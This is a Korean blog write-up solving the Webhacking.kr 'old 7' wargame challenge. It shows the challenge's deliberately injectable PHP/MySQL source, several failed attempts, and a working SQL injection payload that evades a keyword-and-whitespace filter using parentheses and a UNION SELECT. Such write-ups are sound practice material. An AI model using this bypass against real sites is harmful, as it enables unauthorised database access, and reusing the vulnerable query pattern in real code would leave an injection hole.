도카이트

[Wargame] Webhacking.kr - old 7 본문

Wargame/Webhacking.kr

[Wargame] Webhacking.kr - old 7

dodoh4t 2022. 6. 15. 00:47
728x90
반응형

문제 화면

[old 7 - 문제 화면]

- Admin page 화면이 작게 출력되며 아래 auth 버튼이 있다.

- 물론, Auth 버튼을 클릭 시 Access_Denied! 경고창을 출력하며, 접근이 되지 않는다.

- 바로 소스코드를 확인해보자 !

 

 

소스코드

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?>

<?php
$go=$_GET['val'];
if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }
echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");
if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
$db = dbconnect();
$rand=rand(1,5);
if($rand==1){
  $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
}
if($rand==2){
  $result=mysqli_query($db,"select lv from chall7 where lv=(($go))") or die("nice try!");
}
if($rand==3){
  $result=mysqli_query($db,"select lv from chall7 where lv=((($go)))") or die("nice try!");
}
if($rand==4){
  $result=mysqli_query($db,"select lv from chall7 where lv=(((($go))))") or die("nice try!");
}
if($rand==5){
  $result=mysqli_query($db,"select lv from chall7 where lv=((((($go)))))") or die("nice try!");
}
$data=mysqli_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]==1){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Access_Denied!')\"><p>");
}
elseif($data[0]==2){
  echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
  solve(7);
}
?>

- $go 변수는 $_GET[’va’] 이므로, URL의 val 파라미터 값에 값을 입력 시, $go에 대입된다.

- $go에 대해여 preg_match 함수를 통해 각 문자들을 필터링하고 있으며, 각 문자들은 다음과 같다.

- 2, from, _, =, 공백, 사칙연산 부호(+,-,*,/)

- 해당 문자들의 필터링을 우회하여 val 값이 2가 되도록 SQL Injection을 하면 될듯 하다.

- 또한 rand 함수를 통해 1부터 5까지 랜덤하게 $go 변수에 괄호 개수를 지정한다.

- 즉, SQL Injection 구문을 작성 후 실행을 최소 5번 이상은 진행해보아야 문제를 solve 할 수 있을듯 하다.

 

 

문제를 해결하기 위해 최초로 시도했던 구문들은 다음과 같았다.

  • val=6%4
  • val=(6%4)
  • val=6%4%23
  • val=(6%4)%23
  • val=1%00or%00lv%00like%00(6%4)%23

이후로도 여러가지 구문들을 다 삽입하여 공격을 시도해보았으나, 잘 되지 않았어서 각종 방법들을

모두 찾아보다가 union select를 이용하여 수식 (6%4)를 입력할 수 있음을 알 수 있게 되었고, 이를

이용하여 구문을 삽입하자 성공적으로 해당 문제를 solve 할 수 있었다 !

 

 

union select를 이용하여 val 값을 2로 만들기

[union select를 이용하여 val 값을 2로 만들기]

- 위 예제에서 사용한 구문은 다음과 같다.

- val=0)union(select(6%4)

- val 값이 0인 경우와 6을 4로 나눈 나머지 값인 2 인 경우를 합집합으로 출력한다.

- nice try! 가 출력될 경우 몇 번 더 새로고침을 해주면 문제가 solve 된다.

728x90

'Wargame > Webhacking.kr' 카테고리의 다른 글

[Wargame] Webhacking.kr - old 11  (0) 2022.06.15
[Wargame] Webhacking.kr - old 10  (0) 2022.06.15
[Wargame] Webhacking.kr - old 6  (0) 2022.06.14
[Wargame] Webhacking.kr - old 5  (0) 2022.06.14
[Wargame] Webhacking.kr - old 4  (0) 2022.06.14
Comments